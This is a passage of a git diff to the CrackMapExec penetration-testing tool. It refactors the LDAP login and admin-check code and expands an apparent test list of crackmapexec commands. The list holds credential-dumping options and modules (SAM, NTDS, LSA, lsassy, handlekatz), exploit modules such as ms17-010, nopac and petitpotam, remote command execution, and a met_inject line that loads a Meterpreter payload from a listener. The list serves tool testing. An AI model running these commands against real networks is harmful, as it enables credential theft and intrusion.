" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
color='magenta' if error_code in ldap_error_status else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def plaintext_login(self, domain, username, password):
|
def plaintext_login(self, domain, username, password):
|
||||||
|
@ -473,25 +522,29 @@ class ldap(connection):
|
||||||
self.domain = domain
|
self.domain = domain
|
||||||
|
|
||||||
if self.password == '' and self.args.asreproast:
|
if self.password == '' and self.args.asreproast:
|
||||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||||
if hash_TGT:
|
if hash_tgt:
|
||||||
self.logger.highlight(u'{}'.format(hash_TGT))
|
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||||
hash_asreproast.write(hash_TGT + '\n')
|
hash_asreproast.write(hash_tgt + '\n')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Connect to LDAP
|
# Connect to LDAP
|
||||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN)
|
ldap_url = f"{proto}://{self.target}"
|
||||||
|
logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{}:{} {}'.format(domain,
|
out = u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
|
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||||
|
@ -501,21 +554,24 @@ class ldap(connection):
|
||||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
try:
|
try:
|
||||||
# Connect to LDAPS
|
# Connect to LDAPS
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN)
|
ldaps_url = f"{proto}://{self.target}"
|
||||||
|
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{}:{} {}'.format(domain,
|
out = u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
@ -525,68 +581,79 @@ class ldap(connection):
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red')
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red')
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {} \nError: {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
"Error connecting to the domain, are you sure LDAP service is running on the target ?"))
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
||||||
|
e
|
||||||
|
))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def hash_login(self, domain, username, ntlm_hash):
|
def hash_login(self, domain, username, ntlm_hash):
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "389"
|
self.logger.extra['port'] = "389"
|
||||||
lmhash = ''
|
lmhash = ""
|
||||||
nthash = ''
|
nthash = ""
|
||||||
|
|
||||||
#This checks to see if we didn't provide the LM Hash
|
# This checks to see if we didn't provide the LM Hash
|
||||||
if ntlm_hash.find(':') != -1:
|
if ntlm_hash.find(':') != -1:
|
||||||
lmhash, nthash = ntlm_hash.split(':')
|
lmhash, nthash = ntlm_hash.split(':')
|
||||||
else:
|
else:
|
||||||
nthash = ntlm_hash
|
nthash = ntlm_hash
|
||||||
|
|
||||||
self.hash = ntlm_hash
|
self.hash = ntlm_hash
|
||||||
if lmhash: self.lmhash = lmhash
|
if lmhash:
|
||||||
if nthash: self.nthash = nthash
|
self.lmhash = lmhash
|
||||||
|
if nthash:
|
||||||
|
self.nthash = nthash
|
||||||
|
|
||||||
self.username = username
|
self.username = username
|
||||||
self.domain = domain
|
self.domain = domain
|
||||||
|
|
||||||
if self.hash == '' and self.args.asreproast:
|
if self.hash == '' and self.args.asreproast:
|
||||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||||
if hash_TGT:
|
if hash_tgt:
|
||||||
self.logger.highlight(u'{}'.format(hash_TGT))
|
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||||
hash_asreproast.write(hash_TGT + '\n')
|
hash_asreproast.write(hash_tgt + '\n')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Connect to LDAP
|
# Connect to LDAP
|
||||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN)
|
ldaps_url = f"{proto}://{self.target}"
|
||||||
|
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{}:{} {}'.format(domain,
|
out = u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
@ -599,15 +666,19 @@ class ldap(connection):
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
try:
|
try:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN)
|
ldaps_url = f"{proto}://{self.target}"
|
||||||
|
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{}:{} {}'.format(domain,
|
out = u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
@ -617,25 +688,32 @@ class ldap(connection):
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red')
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red')
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
|
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {} \nError: {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
"Error connecting to the domain, are you sure LDAP service is running on the target ?"))
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||||
|
"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
||||||
|
e
|
||||||
|
))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def create_smbv1_conn(self):
|
def create_smbv1_conn(self):
|
||||||
|
@ -678,7 +756,6 @@ class ldap(connection):
|
||||||
self.logger.highlight('Domain SID {}'.format(self.sid_domain))
|
self.logger.highlight('Domain SID {}'.format(self.sid_domain))
|
||||||
|
|
||||||
def sid_to_str(self, sid):
|
def sid_to_str(self, sid):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# revision
|
# revision
|
||||||
revision = int(sid[0])
|
revision = int(sid[0])
|
||||||
|
@ -692,20 +769,17 @@ class ldap(connection):
|
||||||
|
|
||||||
# loop over the count of small endians
|
# loop over the count of small endians
|
||||||
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
|
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
|
||||||
objectSid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
|
object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
|
||||||
|
return object_sid
|
||||||
return objectSid
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
return sid
|
return sid
|
||||||
|
|
||||||
def check_if_admin(self):
|
def check_if_admin(self):
|
||||||
|
|
||||||
# 1. get SID of the domaine
|
# 1. get SID of the domaine
|
||||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
||||||
attributes= ["objectSid"]
|
attributes = ["objectSid"]
|
||||||
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||||
answers = []
|
answers = []
|
||||||
if resp and self.password != '' and self.username != '':
|
if resp and self.password != '' and self.username != '':
|
||||||
for attribute in resp[0][1]:
|
for attribute in resp[0][1]:
|
||||||
|
@ -714,9 +788,9 @@ class ldap(connection):
|
||||||
self.sid_domain = '-'.join(sid.split('-')[:-1])
|
self.sid_domain = '-'.join(sid.split('-')[:-1])
|
||||||
|
|
||||||
# 2. get all group cn name
|
# 2. get all group cn name
|
||||||
searchFilter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
||||||
attributes= ["distinguishedName"]
|
attributes = ["distinguishedName"]
|
||||||
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||||
answers = []
|
answers = []
|
||||||
for item in resp:
|
for item in resp:
|
||||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||||
|
@ -725,10 +799,10 @@ class ldap(connection):
|
||||||
if str(attribute['type']) == 'distinguishedName':
|
if str(attribute['type']) == 'distinguishedName':
|
||||||
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
|
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
|
||||||
|
|
||||||
# 3. get memeber of these groups
|
# 3. get member of these groups
|
||||||
searchFilter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
|
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
|
||||||
attributes= [""]
|
attributes = [""]
|
||||||
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||||
answers = []
|
answers = []
|
||||||
for item in resp:
|
for item in resp:
|
||||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||||
|
@ -745,9 +819,11 @@ class ldap(connection):
|
||||||
try:
|
try:
|
||||||
if self.ldapConnection:
|
if self.ldapConnection:
|
||||||
logging.debug('Search Filter=%s' % searchFilter)
|
logging.debug('Search Filter=%s' % searchFilter)
|
||||||
resp = self.ldapConnection.search(searchFilter=searchFilter,
|
resp = self.ldapConnection.search(
|
||||||
attributes=attributes,
|
searchFilter=searchFilter,
|
||||||
sizeLimit=sizeLimit)
|
attributes=attributes,
|
||||||
|
sizeLimit=sizeLimit
|
||||||
|
)
|
||||||
return resp
|
return resp
|
||||||
except ldap_impacket.LDAPSearchError as e:
|
except ldap_impacket.LDAPSearchError as e:
|
||||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||||
|
|
|
@ -1,65 +1,171 @@
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --shares
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --shares --filter-shares READ WRITE
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --pass-pol
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --disks
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --disks
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --groups
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --groups
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --sessions
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sessions
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --loggedon-users
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --loggedon-users
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --users
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --users
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --computers
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --computers
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --rid-brute
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --rid-brute
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --local-groups
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-groups
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --local-auth
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-auth
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --sam
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sam
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --ntds
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --ntds
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --lsa
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --lsa
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --dpapi
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --dpapi
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -x whoami
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -x whoami
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -X whoami
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -X whoami --obfs
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS --wmi "os get"
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --wmi "os get"
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ntdsutil
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M nopac
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M enum_av
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M wifi
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M petitpotam
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M spooler
|
# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M dfscoerce
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M shadowcoerce
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M enum_dns
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M gpp_autologin
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M gpp_password
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M lsassy
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M impersonate
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M install_elevated
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ioxidresolver
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M MS17-010
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M ntlmv1
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe"
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M runasppl
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M uac
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M webdav
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M wifi
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver
|
||||||
crackmapexec smb TARGET -u USER -p PASSWORD KERBEROS -M winscp
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=CHECK USER=USERNAME
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query
